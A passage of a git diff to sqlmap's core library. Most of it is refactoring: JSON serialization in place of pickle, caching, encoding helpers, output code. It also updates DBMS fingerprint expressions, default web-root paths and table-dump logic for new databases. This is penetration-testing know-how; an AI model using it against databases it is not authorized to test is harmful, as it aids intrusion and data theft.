keeps the stored form as small as possible. Callers that need raw + bytes (e.g. a compressed BigArray disk chunk) simply encode the returned text. - >>> type(base64unpickle('gAJjX19idWlsdGluX18Kb2JqZWN0CnEBKYFxAi4=')) == object + >>> deserializeValue(serializeValue({1: 'a', 'b': (2, 3), 'c': {4, 5}})) == {1: 'a', 'b': (2, 3), 'c': {4, 5}} + True + >>> deserializeValue(serializeValue([1, 2, (3, {4: b'5'})])) == [1, 2, (3, {4: b'5'})] True """ - retVal = None + return json.dumps(_serializeEncode(value), ensure_ascii=True, separators=(',', ':')) - try: - retVal = pickle.loads(decodeBase64(value)) - except TypeError: - retVal = pickle.loads(decodeBase64(bytes(value))) +def deserializeValue(value): + """ + Restores a Python value from its serialized form (accepts the serialized data as either text or + bytes) + """ - return retVal + return _serializeDecode(json.loads(getText(value))) def htmlUnescape(value): """ - Returns (basic conversion) HTML unescaped value + Returns HTML unescaped value >>> htmlUnescape('a<b') == 'a>> htmlUnescape('a<b') == 'a>> htmlUnescape('foobar') == 'foobar' + True + >>> htmlUnescape('foobar') == 'foobar' + True + >>> htmlUnescape('©€') == htmlUnescape('©€') + True """ - retVal = value - if value and isinstance(value, six.string_types): - replacements = (("<", '<'), (">", '>'), (""", '"'), (" ", ' '), ("&", '&'), ("'", "'")) - for code, value in replacements: - retVal = retVal.replace(code, value) - - try: - retVal = re.sub(r"&#x([^ ;]+);", lambda match: _unichr(int(match.group(1), 16)), retVal) - except (ValueError, OverflowError): - pass - - return retVal + if six.PY3: + import html + return html.unescape(value) + else: + return html_parser.HTMLParser().unescape(value) + return value def singleTimeWarnMessage(message): # Cross-referenced function sys.stdout.write(message) @@ -136,7 +320,7 @@ def dejsonize(data): def decodeHex(value, binary=True): """ - Returns a decoded representation of provided hexadecimal value + Returns a decoded representation of the provided hexadecimal value >>> decodeHex("313233") == b"123" True @@ -164,7 +348,7 @@ def decodeHex(value, binary=True): def encodeHex(value, binary=True): """ - Returns a encoded representation of provided string value + Returns an encoded representation of the provided value >>> encodeHex(b"123") == b"313233" True @@ -172,10 +356,12 @@ def encodeHex(value, binary=True): '313233' >>> encodeHex(b"123"[0]) == b"31" True + >>> encodeHex(123, binary=False) + '7b' """ if isinstance(value, int): - value = six.unichr(value) + value = six.int2byte(value) if isinstance(value, six.text_type): value = value.encode(UNICODE_ENCODING) @@ -233,7 +419,7 @@ def decodeBase64(value, binary=True, encoding=None): def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False): """ - Returns a decoded representation of provided Base64 value + Returns a Base64 encoded representation of the provided value >>> encodeBase64(b"123") == b"MTIz" True @@ -277,6 +463,8 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True): >>> getBytes(u"foo\\\\x01\\\\x83\\\\xffbar") == b"foo\\x01\\x83\\xffbar" True + >>> getBytes(u"C:\\\\\\\\x64\\\\secrets.txt") == b"C:\\\\x64\\\\secrets.txt" + True """ retVal = value @@ -289,7 +477,11 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True): except (LookupError, TypeError): encoding = UNICODE_ENCODING - if isinstance(value, six.text_type): + if isinstance(value, bytearray): + return bytes(value) + elif isinstance(value, memoryview): + return value.tobytes() + elif isinstance(value, six.text_type): if INVALID_UNICODE_PRIVATE_AREA: if unsafe: for char in xrange(0xF0000, 0xF00FF + 1): @@ -298,7 +490,7 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True): retVal = value.encode(encoding, errors) if unsafe: - retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: decodeHex(_.group(1)), retVal) + retVal = re.sub((r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER).encode(), lambda _: decodeHex(_.group(1)), retVal) else: try: retVal = value.encode(encoding, errors) @@ -306,7 +498,8 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True): retVal = value.encode(UNICODE_ENCODING, errors="replace") if unsafe: - retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal) + retVal = re.sub(b"(?>> getUnicode(None) == 'None' True + >>> getUnicode(b'/etc/passwd') == '/etc/passwd' + True """ + # Best position for --time-limit mechanism + if conf.get("timeLimit") and kb.get("startTime") and (time.time() - kb.startTime > conf.timeLimit): + raise SystemExit + if noneToNull and value is None: return NULL @@ -344,7 +543,7 @@ def getUnicode(value, encoding=None, noneToNull=False): candidates = filterNone((encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, conf.get("encoding"), UNICODE_ENCODING, sys.getfilesystemencoding())) if all(_ in value for _ in (b'<', b'>')): pass - elif any(_ in value for _ in (b":\\", b'/', b'.')) and b'\n' not in value: + elif b'\n' not in value and re.search(r"(?i)\w+\.\w{2,3}\Z|\A(\w:\\|/\w+)", six.text_type(value, UNICODE_ENCODING, errors="ignore")): candidates = filterNone((encoding, sys.getfilesystemencoding(), kb.get("pageEncoding") if kb.get("originalPage") else None, UNICODE_ENCODING, conf.get("encoding"))) elif conf.get("encoding") and b'\n' not in value: candidates = filterNone((encoding, conf.get("encoding"), kb.get("pageEncoding") if kb.get("originalPage") else None, sys.getfilesystemencoding(), UNICODE_ENCODING)) @@ -393,10 +592,15 @@ def getText(value, encoding=None): def stdoutEncode(value): """ - Returns binary representation of a given Unicode value safe for writing to stdout + Returns textual representation of a given value safe for writing to stdout + >>> stdoutEncode(b"foobar") + 'foobar' + >>> stdoutEncode({"url": "http://example.com/foo", "data": "id=1"}) == {"url": "http://example.com/foo", "data": "id=1"} + True """ - value = value or "" + if value is None: + value = "" if IS_WIN and IS_TTY and kb.get("codePage", -1) is None: output = shellExec("chcp") @@ -406,39 +610,39 @@ def stdoutEncode(value): try: candidate = "cp%s" % match.group(1) codecs.lookup(candidate) - except LookupError: - pass - else: kb.codePage = candidate + except (LookupError, TypeError): + pass kb.codePage = kb.codePage or "" - if isinstance(value, six.text_type): - encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING + encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING - while True: - try: - retVal = value.encode(encoding) - break - except UnicodeEncodeError as ex: - value = value[:ex.start] + "?" * (ex.end - ex.start) + value[ex.end:] - - warnMsg = "cannot properly display (some) Unicode characters " - warnMsg += "inside your terminal ('%s') environment. All " % encoding - warnMsg += "unhandled occurrences will result in " - warnMsg += "replacement with '?' character. Please, find " - warnMsg += "proper character representation inside " - warnMsg += "corresponding output files" - singleTimeWarnMessage(warnMsg) - - if six.PY3: - retVal = getUnicode(retVal, encoding) + if six.PY3: + if isinstance(value, (bytes, bytearray)): + value = getUnicode(value, encoding) + elif not isinstance(value, str): + # Reference: https://github.com/sqlmapproject/sqlmap/issues/6054 + return value + try: + retVal = value.encode(encoding, errors="replace").decode(encoding, errors="replace") + except (LookupError, TypeError): + retVal = value.encode("ascii", errors="replace").decode("ascii", errors="replace") else: - retVal = value + if isinstance(value, six.text_type): + try: + retVal = value.encode(encoding, errors="replace") + except (LookupError, TypeError): + retVal = value.encode("ascii", errors="replace") + else: + retVal = value return retVal +# str.isascii() is available on Python 3.7+ only (sqlmap still supports 2.7) +_HAS_ISASCII = hasattr(str, "isascii") + def getConsoleLength(value): """ Returns console width of unicode values @@ -450,7 +654,15 @@ def getConsoleLength(value): """ if isinstance(value, six.text_type): - retVal = sum((2 if ord(_) >= 0x3000 else 1) for _ in value) + # Fast path: ASCII values have no wide (>= U+3000) characters, so their + # console width is simply their length. str.isascii() (Python 3.7+) is a + # C-level scan, far cheaper than the per-character generator below (which + # stays for the rare wide-character case and for Python 2). This runs + # once per dumped cell, so it dominates large table dumps. + if _HAS_ISASCII and value.isascii(): + retVal = len(value) + else: + retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value) else: retVal = len(value) diff --git a/lib/core/data.py b/lib/core/data.py index c2b4325d719..5523a60c49a 100644 --- a/lib/core/data.py +++ b/lib/core/data.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/datatype.py b/lib/core/datatype.py index eadcb9cf7ab..f667c0cd9e1 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -1,14 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import copy -import types +import threading -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six.moves import collections_abc as _collections class AttribDict(dict): @@ -19,32 +19,44 @@ class AttribDict(dict): >>> foo.bar = 1 >>> foo.bar 1 + >>> import copy; copy.deepcopy(foo).bar + 1 """ def __init__(self, indict=None, attribute=None, keycheck=True): if indict is None: indict = {} - # Set any attributes here - before initialisation - # these remain as normal attributes - self.attribute = attribute - self.keycheck = keycheck dict.__init__(self, indict) - self.__initialised = True - - # After initialisation, setting attributes - # is the same as setting an item + self.__dict__["_attribute"] = attribute + self.__dict__["_keycheck"] = keycheck + self.__dict__["_initialized"] = True def __getattr__(self, item): """ Maps values to attributes Only called if there *is NOT* an attribute with this name """ + if item.startswith('__') and item.endswith('__'): + raise AttributeError(item) try: return self.__getitem__(item) except KeyError: - if self.keycheck: + if self.__dict__.get("_keycheck"): + raise AttributeError("unable to access item '%s'" % item) + else: + return None + + def __delattr__(self, item): + """ + Deletes attributes + """ + + try: + return self.pop(item) + except KeyError: + if self.__dict__.get("_keycheck"): raise AttributeError("unable to access item '%s'" % item) else: return None @@ -55,14 +67,8 @@ def __setattr__(self, item, value): Only if we are initialised """ - # This test allows attributes to be set in the __init__ method - if "_AttribDict__initialised" not in self.__dict__: - return dict.__setattr__(self, item, value) - - # Any normal attributes are handled normally - elif item in self.__dict__: - dict.__setattr__(self, item, value) - + if "_initialized" not in self.__dict__ or item in self.__dict__: + self.__dict__[item] = value else: self.__setitem__(item, value) @@ -73,14 +79,12 @@ def __setstate__(self, dict): self.__dict__ = dict def __deepcopy__(self, memo): - retVal = self.__class__() + retVal = self.__class__(keycheck=self.__dict__.get("_keycheck")) memo[id(self)] = retVal - for attr in dir(self): - if not attr.startswith('_'): - value = getattr(self, attr) - if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)): - setattr(retVal, attr, copy.deepcopy(value, memo)) + for attr, value in self.__dict__.items(): + if attr not in ('_attribute', '_keycheck', '_initialized'): + setattr(retVal, attr, copy.deepcopy(value, memo)) for key, value in self.items(): retVal.__setitem__(key, copy.deepcopy(value, memo)) @@ -88,8 +92,8 @@ def __deepcopy__(self, memo): return retVal class InjectionDict(AttribDict): - def __init__(self): - AttribDict.__init__(self) + def __init__(self, **kwargs): + AttribDict.__init__(self, **kwargs) self.place = None self.parameter = None @@ -129,6 +133,7 @@ class LRUDict(object): def __init__(self, capacity): self.capacity = capacity self.cache = OrderedDict() + self.__lock = threading.Lock() def __len__(self): return len(self.cache) @@ -137,20 +142,25 @@ def __contains__(self, key): return key in self.cache def __getitem__(self, key): - value = self.cache.pop(key) - self.cache[key] = value - return value + with self.__lock: + value = self.cache.pop(key) + self.cache[key] = value + return value - def get(self, key): - return self.__getitem__(key) + def get(self, key, default=None): + try: + return self.__getitem__(key) + except (KeyError, TypeError): + return default def __setitem__(self, key, value): - try: - self.cache.pop(key) - except KeyError: - if len(self.cache) >= self.capacity: - self.cache.popitem(last=False) - self.cache[key] = value + with self.__lock: + try: + self.cache.pop(key) + except KeyError: + if len(self.cache) >= self.capacity: + self.cache.popitem(last=False) + self.cache[key] = value def set(self, key, value): self.__setitem__(key, value) diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 433ae3f959b..0490692676b 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -1,21 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import functools -import hashlib import threading from lib.core.datatype import LRUDict from lib.core.settings import MAX_CACHE_ITEMS -from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData _cache = {} -_cache_lock = threading.Lock() _method_locks = {} def cachedmethod(f): @@ -38,22 +35,48 @@ def cachedmethod(f): """ _cache[f] = LRUDict(capacity=MAX_CACHE_ITEMS) + _method_locks[f] = threading.RLock() + + def _freeze(val): + if isinstance(val, (list, set, tuple)): + return tuple(_freeze(x) for x in val) + if isinstance(val, dict): + return tuple(sorted((k, _freeze(v)) for k, v in val.items())) + return val @functools.wraps(f) def _f(*args, **kwargs): + lock, cache = _method_locks[f], _cache[f] + try: - key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff - except ValueError: # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value) - result = f(*args, **kwargs) - else: + if kwargs: + key = (args, frozenset(kwargs.items())) + else: + key = args + + with lock: + if key in cache: + return cache[key] + + except TypeError: + # Note: fallback (slow-path) for unhashable arguments try: - with _cache_lock: - result = _cache[f][key] - except KeyError: - result = f(*args, **kwargs) + if kwargs: + key = (_freeze(args), _freeze(kwargs)) + else: + key = _freeze(args) + + with lock: + if key in cache: + return cache[key] + except TypeError: + # Note: genuinely uncacheable arguments; skip caching altogether + return f(*args, **kwargs) + + result = f(*args, **kwargs) - with _cache_lock: - _cache[f][key] = result + with lock: + cache[key] = result return result @@ -80,21 +103,30 @@ def _(*args, **kwargs): result = f(*args, **kwargs) finally: if len(threadData.valueStack) > originalLevel: - threadData.valueStack = threadData.valueStack[:originalLevel] + del threadData.valueStack[originalLevel:] return result return _ def lockedmethod(f): + """ + Decorates a function or method with a reentrant lock (only one thread can execute the function at a time) + + >>> @lockedmethod + ... def recursive_count(n): + ... if n <= 0: return 0 + ... return n + recursive_count(n - 1) + >>> recursive_count(5) + 15 + """ + + lock = threading.RLock() + @functools.wraps(f) def _(*args, **kwargs): - if f not in _method_locks: - _method_locks[f] = threading.RLock() - - with _method_locks[f]: + with lock: result = f(*args, **kwargs) - return result return _ diff --git a/lib/core/defaults.py b/lib/core/defaults.py index 54410f6dbf6..743ab6a26b9 100644 --- a/lib/core/defaults.py +++ b/lib/core/defaults.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 157adc2aded..b2d4c7f94b8 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -21,6 +21,7 @@ from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import FRONTBASE_ALIASES from lib.core.settings import H2_ALIASES +from lib.core.settings import HANA_ALIASES from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import MAXDB_ALIASES @@ -38,6 +39,9 @@ from lib.core.settings import SYBASE_ALIASES from lib.core.settings import VERTICA_ALIASES from lib.core.settings import VIRTUOSO_ALIASES +from lib.core.settings import CLICKHOUSE_ALIASES +from lib.core.settings import SNOWFLAKE_ALIASES +from lib.core.settings import SPANNER_ALIASES FIREBIRD_TYPES = { 261: "BLOB", @@ -176,7 +180,7 @@ PGSQL_PRIVS = { 1: "createdb", 2: "super", - 3: "catupd", + 3: "replication", } # Reference(s): http://stackoverflow.com/a/17672504 @@ -224,11 +228,11 @@ DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"), DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/PyMySQL/PyMySQL", "mysql"), DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"), - DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "https://oracle.github.io/python-cx_Oracle/", "oracle"), + DBMS.ORACLE: (ORACLE_ALIASES, "python-oracledb", "https://oracle.github.io/python-oracledb/", "oracle"), DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/3/library/sqlite3.html", "sqlite"), DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"), - DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"), - DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"), + DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python3-firebirdsql", "https://github.com/nakagami/pyfirebirdsql/", "firebird"), + DBMS.MAXDB: (MAXDB_ALIASES, None, None, None), # 'maxdb'/'sapdb' SQLAlchemy dialect was removed long ago; a dead dialect only produces a misleading warning DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"), DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), @@ -241,6 +245,7 @@ DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None), DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None), DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None), + DBMS.CLICKHOUSE: (CLICKHOUSE_ALIASES, "clickhouse_connect", "https://github.com/ClickHouse/clickhouse-connect", None), DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"), DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None), DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), @@ -248,6 +253,9 @@ DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None), DBMS.RAIMA: (RAIMA_ALIASES, None, None, None), DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None), + DBMS.SNOWFLAKE: (SNOWFLAKE_ALIASES, None, None, "snowflake"), + DBMS.SPANNER: (SPANNER_ALIASES, None, None, "spanner"), + DBMS.HANA: (HANA_ALIASES, "hdbcli", "https://pypi.org/project/hdbcli/", "hana"), } # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ @@ -255,23 +263,24 @@ DBMS.ORACLE: " FROM DUAL", DBMS.ACCESS: " FROM MSysAccessObjects", DBMS.FIREBIRD: " FROM RDB$DATABASE", - DBMS.MAXDB: " FROM VERSIONS", + DBMS.MAXDB: " FROM DUAL", DBMS.DB2: " FROM SYSIBM.SYSDUMMY1", DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS", DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL", DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1", DBMS.MIMERSQL: " FROM SYSTEM.ONEROW", - DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS" + DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS", + DBMS.HANA: " FROM DUMMY" } HEURISTIC_NULL_EVAL = { DBMS.ACCESS: "CVAR(NULL)", DBMS.MAXDB: "ALPHA(NULL)", - DBMS.MSSQL: "DIFFERENCE(NULL,NULL)", - DBMS.MYSQL: "QUARTER(NULL)", + DBMS.MSSQL: "PARSENAME(NULL,NULL)", + DBMS.MYSQL: "IFNULL(QUARTER(NULL),NULL XOR NULL)", # NOTE: previous form (i.e., QUARTER(NULL XOR NULL)) was bad as some optimization engines wrongly evaluate QUARTER(NULL XOR NULL) to 0 DBMS.ORACLE: "INSTR2(NULL,NULL)", DBMS.PGSQL: "QUOTE_IDENT(NULL)", - DBMS.SQLITE: "UNLIKELY(NULL)", + DBMS.SQLITE: "JULIANDAY(NULL)", DBMS.H2: "STRINGTOUTF8(NULL)", DBMS.MONETDB: "CODE(NULL)", DBMS.DERBY: "NULLIF(USER,SESSION_USER)", @@ -280,12 +289,16 @@ DBMS.PRESTO: "FROM_HEX(NULL)", DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)", DBMS.MIMERSQL: "ASCII_CHAR(256)", - DBMS.CRATEDB: "MD5(NULL~NULL)", # Note: NULL~NULL also being evaluated on H2 and Ignite + DBMS.CRATEDB: "GEN_RANDOM_TEXT_UUID()~NULL", # NOTE: old MD5(NULL~NULL) was too loose (also NULL on MonetDB/H2/Ignite -> they mis-identified as CrateDB); gen_random_text_uuid() is CrateDB-only, and ~NULL keeps it a NULL-eval DBMS.CUBRID: "(NULL SETEQ NULL)", - DBMS.CACHE: "%SQLUPPER NULL", + DBMS.CACHE: "%EXACT(NULL)", # NOTE: '%SQLUPPER NULL' does not parse inside the heuristic's (SELECT ...) form, so Cache/IRIS fell through to a later, non-unique marker (e.g. Mckoi TONUMBER); the %-prefixed collation function %EXACT() is InterSystems-unique and works here DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))", - DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL))", + DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL)", DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)", + DBMS.CLICKHOUSE: "halfMD5(NULL)", + DBMS.SNOWFLAKE: "BOOLNOT(NULL)", + DBMS.SPANNER: "FARM_FINGERPRINT(NULL)", + DBMS.HANA: "MAP(NULL,NULL,NULL,NULL,NULL)", } SQL_STATEMENTS = { @@ -321,6 +334,7 @@ "update ", "delete ", "merge ", + "copy ", "load ", ), @@ -377,13 +391,24 @@ } DUMP_DATA_PREPROCESS = { - DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, # Reference: https://www.tibcommunity.com/docs/DOC-3643 - DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"}, + DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, + DBMS.MSSQL: { + "IMAGE": "CONVERT(VARBINARY(MAX),%s)", + "GEOMETRY": "(%s).STAsText()", + "GEOGRAPHY": "(%s).STAsText()" + }, + DBMS.PGSQL: { + "GEOMETRY": "ST_AsText(%s)", + "GEOGRAPHY": "ST_AsText(%s)" + }, + DBMS.MYSQL: { + "GEOMETRY": "ST_AsText(%s)" + } } DEFAULT_DOC_ROOTS = { OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"), - OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs", "/usr/local/var/www") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout + OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs", "/usr/local/var/www", "/usr/share/nginx/html") } PART_RUN_CONTENT_TYPES = { @@ -406,6 +431,8 @@ "dumpTable": CONTENT_TYPE.DUMP_TABLE, "search": CONTENT_TYPE.SEARCH, "sqlQuery": CONTENT_TYPE.SQL_QUERY, + "getStatements": CONTENT_TYPE.STATEMENTS, + "getProcs": CONTENT_TYPE.PROCEDURES, "tableExists": CONTENT_TYPE.COMMON_TABLES, "columnExists": CONTENT_TYPE.COMMON_COLUMNS, "readFile": CONTENT_TYPE.FILE_READ, diff --git a/lib/core/dump.py b/lib/core/dump.py index 2e3cdfde635..bbeb3d0f221 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -1,11 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import hashlib +import json import os import re import shutil @@ -14,6 +15,7 @@ from lib.core.common import Backend from lib.core.common import checkFile +from lib.core.common import clearColors from lib.core.common import dataToDumpFile from lib.core.common import dataToStdout from lib.core.common import filterNone @@ -30,6 +32,7 @@ from lib.core.compat import xrange from lib.core.convert import getBytes from lib.core.convert import getConsoleLength +from lib.core.convert import stdoutEncode from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.convert import htmlEscape @@ -45,6 +48,7 @@ from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapValueException from lib.core.replication import Replication +from lib.core.settings import CHECK_SQLITE_TYPE_THRESHOLD from lib.core.settings import DUMP_FILE_BUFFER_SIZE from lib.core.settings import HTML_DUMP_CSS_STYLE from lib.core.settings import IS_WIN @@ -58,6 +62,7 @@ from lib.utils.safe2bin import safechardecode from thirdparty import six from thirdparty.magic import magic +from collections import OrderedDict class Dump(object): """ @@ -89,12 +94,25 @@ def _write(self, data, newline=True, console=True, content_type=None): except IOError as ex: errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) - - if multiThreadMode: - self._lock.release() + finally: + if multiThreadMode: + self._lock.release() kb.dataOutputFlag = True + def _reportData(self, data, content_type): + """ + --report-json: capture a structured result exactly as the REST API would store it (the raw + value + COMPLETE status), independent of console/file rendering. No-op unless a report + collector is active - which is only ever the case for a CLI --report-json run, never under + --api - so this never double-captures alongside StdDbOut. A None content_type is resolved + via the kb.partRun fallback (e.g. the fingerprint line), mirroring the API exactly. + """ + + if conf.get("reportCollector") is not None: + from lib.utils.api import _storeData, REPORT_TASKID + _storeData(conf.reportCollector, REPORT_TASKID, stdoutEncode(clearColors(data)), CONTENT_STATUS.COMPLETE, content_type) + def flush(self): if self._outputFP: try: @@ -109,15 +127,18 @@ def setOutputFile(self): self._outputFile = os.path.join(conf.outputPath, "log") try: - self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb") + self._outputFP = openFile(self._outputFile, 'a' if not conf.flushSession else 'w') except IOError as ex: errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) def singleString(self, data, content_type=None): + self._reportData(data, content_type) self._write(data, content_type=content_type) def string(self, header, data, content_type=None, sort=True): + self._reportData(data, content_type) + if conf.api: self._write(data, content_type=content_type) @@ -152,6 +173,8 @@ def lister(self, header, elements, content_type=None, sort=True): except: pass + self._reportData(elements, content_type) + if conf.api: self._write(elements, content_type=content_type) @@ -174,7 +197,7 @@ def currentUser(self, data): self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER) def currentDb(self, data): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE, DBMS.HANA): self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB, DBMS.VIRTUOSO): self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) @@ -193,6 +216,9 @@ def users(self, users): def statements(self, statements): self.lister("SQL statements", statements, content_type=CONTENT_TYPE.STATEMENTS) + def procedures(self, procedures): + self.lister("stored procedures", procedures, content_type=CONTENT_TYPE.PROCEDURES) + def userSettings(self, header, userSettings, subHeader, content_type=None): self._areAdmins = set() @@ -203,6 +229,8 @@ def userSettings(self, header, userSettings, subHeader, content_type=None): users = [_ for _ in userSettings.keys() if _ is not None] users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) + self._reportData(userSettings, content_type) + if conf.api: self._write(userSettings, content_type=content_type) @@ -236,6 +264,8 @@ def dbs(self, dbs): def dbTables(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: + self._reportData(dbTables, CONTENT_TYPE.TABLES) + if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.TABLES) @@ -278,6 +308,8 @@ def dbTables(self, dbTables): def dbTableColumns(self, tableColumns, content_type=None): if isinstance(tableColumns, dict) and len(tableColumns) > 0: + self._reportData(tableColumns, content_type) + if conf.api: self._write(tableColumns, content_type=content_type) @@ -289,22 +321,25 @@ def dbTableColumns(self, tableColumns, content_type=None): maxlength1 = 0 maxlength2 = 0 - colType = None - colList = list(columns.keys()) colList.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) + # Note: decide the layout by whether ANY column carries a type, not by the last + # column iterated; otherwise a mixed table (some columns typed, some not) whose + # alphabetically-last column is type-less renders a header/body column mismatch + hasType = any(columns[_] is not None for _ in colList) + for column in colList: colType = columns[column] column = unsafeSQLIdentificatorNaming(column) - maxlength1 = max(maxlength1, len(column or "")) - maxlength2 = 